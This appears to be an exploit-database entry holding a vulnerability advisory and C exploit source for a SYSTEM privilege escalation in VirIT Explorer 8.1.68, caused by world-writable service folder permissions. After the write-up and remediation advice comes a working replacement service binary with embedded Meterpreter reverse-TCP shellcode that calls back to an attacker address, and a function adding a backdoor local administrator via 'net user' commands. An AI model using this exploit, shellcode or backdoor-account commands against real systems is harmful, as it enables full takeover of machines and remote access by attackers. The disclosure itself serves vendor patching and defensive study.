Author

Paolo Stagno

Risk

[

Security Risk High

]

0day-ID

0day-ID-25590

Category

local exploits

Date add

19-05-2016

Platform

windows

/*
Full title:         VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (System)/Arbitrary Code Execution
Exploit Author:     Paolo Stagno - voidsec@voidsec.com
Vendor Homepage:    http://www.tgsoft.it
Version:            VirIT Explorer Lite & Pro v.8.1.68
Tested on:          Windows 7
CVE:                TBD
CVSS v2:            6.8 (AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C) - https://nvd.nist.gov/cvss.cfm?calculator&version=2&vector=%28AV:L/AC:L/Au:S/C:C/I:C/A:C/E:H/RL:U/RC:C%29
Category:           local exploits
Platform:           windows
Security Risk:      High
Date add: 18/05/2016
 
===
VirIT Explorer Lite & Pro v.8.1.68 Local Privilege Escalation (SYSTEM
Privilege)/Arbitrary Code Execution
 
- Author: Paolo Stagno
 
Overview
=========
Vir.IT eXplorer [1] is an AntiVirus, AntiSpyware and AntiMalware
software made in Italy and developed by TG Soft S.a.s.
 
A major flaws exists in the last version of Vir.IT eXplorer, this
vulnerability allow a local attacker,
to execute arbitrary code in the context of the application with SYSTEM
privilege.
 
Details
==========
The flaw resides in the viritsvclite Service due to bad privileges for
the main Vir.IT folder, by default, any user (even guest) will be able to
replace, modify or alter the file. This would allow an attacker to
inject code or replace the executable and have it run in the context
of the system.
 
This would allow a complete compromise of the system on which the
antivirus was installed; an attacker can replace the executable, reboot
the system and it would then compromise the machine. As NT
AUTHORITY\SYSTEM is the highest privilege level on a Windows machine,
this allows a total control and access to the system.
 
Services: viritsvclite
Folder: %SYSTEMDRIVE%\VEXPLite
Executable: %SYSTEMDRIVE%\VEXPLite\viritsvc.exe
 
[2] icacls.exe VEXPLite
C:\VEXPLite Everyone:(OI)(CI)(F) <=================== Vulnerable
BUILTIN\Administrators:(I)(F)
BUILTIN\Administrators:(I)(OI)(CI)(IO)(F)
NT AUTHORITY\SYSTEM:(I)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(IO)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
 
Successfully processed 1 files; Failed processing 0 files
 
icacls.exe viritsvc.exe
viritsvc.exe Everyone:(I)(F) <=================== Vulnerable
BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
 
Successfully processed 1 files; Failed processing 0 files
 
With this flaws in mind I wrote the exploit which is able to obtain NT
AUTHORITY\SYSTEM via a meterpreter shell.
 
Exploit
==========
https://gist.github.com/VoidSec/9971092829dd1fec146e1595843aae65
https://www.youtube.com/watch?v=5a09efEvjTk (video proof)
 
Remediation
==========
Remove the permissions on the VEXPLite folder, all of its files and on
the viritsvc.exe Service executables to allow only
privileged users to alter the files, apply vendor patch once distributed.
 
Footnotes
==========
[1] http://www.tgsoft.it/english/prodotti_eng.asp
[2] https://technet.microsoft.com/en-us/library/cc753525%28WS.10%29.aspx
---
 
*/
#include <windows.h>
#include <stdio.h>
 
#define small_sleep 5000
#define big_sleep 180000
 
SERVICE_STATUS ServiceStatus;
SERVICE_STATUS_HANDLE hStatus;
 
void ServiceMain(int argc, char **argv);
void ControlHandler(DWORD request);
typedef short (CALLBACK * FuncType) (LPCTSTR);
 
/*Meterpreter reverse payload (windows/meterpreter/reverse_tcp), replace with your own*/
unsigned char r_shell[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xc0\xa8\x01\x8a\x68\x02"
"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff"
"\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00"
"\x53\xff\xd5";
 
int Spawn_Shell(){
    //Spawn the reverse shell
    int (*func)();
    func = (int (*)()) r_shell;
    (int)(*func)(); 
}
 
int Add_Admin(){
    //ADD VoidSec:secret to Local Administrators
    system("net user VoidSec secret /ADD");
    system("net localgroup Administrators VoidSec /ADD"); return 0;
}
 
int main(){
    SERVICE_TABLE_ENTRY ServiceTable[2];
    ServiceTable[0].lpServiceName = "viritsvclite";
    ServiceTable[0].lpServiceProc = (LPSERVICE_MAIN_FUNCTION) ServiceMain;
    ServiceTable[1].lpServiceName = NULL;
    ServiceTable[1].lpServiceProc = NULL;
    StartServiceCtrlDispatcher(ServiceTable);
 
    return 0;
}
 
void ServiceMain(int argc, char **argv) {
    ServiceStatus.dwServiceType = SERVICE_WIN32;
    ServiceStatus.dwCurrentState = SERVICE_START_PENDING;
    ServiceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
    ServiceStatus.dwWin32ExitCode = 0;
    ServiceStatus.dwServiceSpecificExitCode = 0;
    ServiceStatus.dwCheckPoint = 0;
    ServiceStatus.dwWaitHint = 0;
    hStatus = RegisterServiceCtrlHandler("viritsvclite", (LPHANDLER_FUNCTION) ControlHandler);
    ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    SetServiceStatus(hStatus, &ServiceStatus);
     
    //Big sleep (3m), let Windows start Network, DHCP etc.
    Sleep(big_sleep);
     
    Spawn_Shell();
    //Add_Admin();
     
    //Let our service run instead of kill it (only works with Add_Admin, Spawn_Shell will kill it on exit)
    /*while (ServiceStatus.dwCurrentState == SERVICE_RUNNING) {
        Sleep(small_sleep);
    }*/
         
    return;
}
 
void ControlHandler(DWORD request) {
    switch (request) {
        case SERVICE_CONTROL_STOP:
            ServiceStatus.dwWin32ExitCode = 0;
            ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            SetServiceStatus(hStatus, &ServiceStatus);
        return;
        case SERVICE_CONTROL_SHUTDOWN:
            ServiceStatus.dwWin32ExitCode = 0;
            ServiceStatus.dwCurrentState = SERVICE_STOPPED;
            SetServiceStatus(hStatus, &ServiceStatus);
        return;
        default:
        break;
        }
    SetServiceStatus(hStatus, &ServiceStatus);
         
    return;
}

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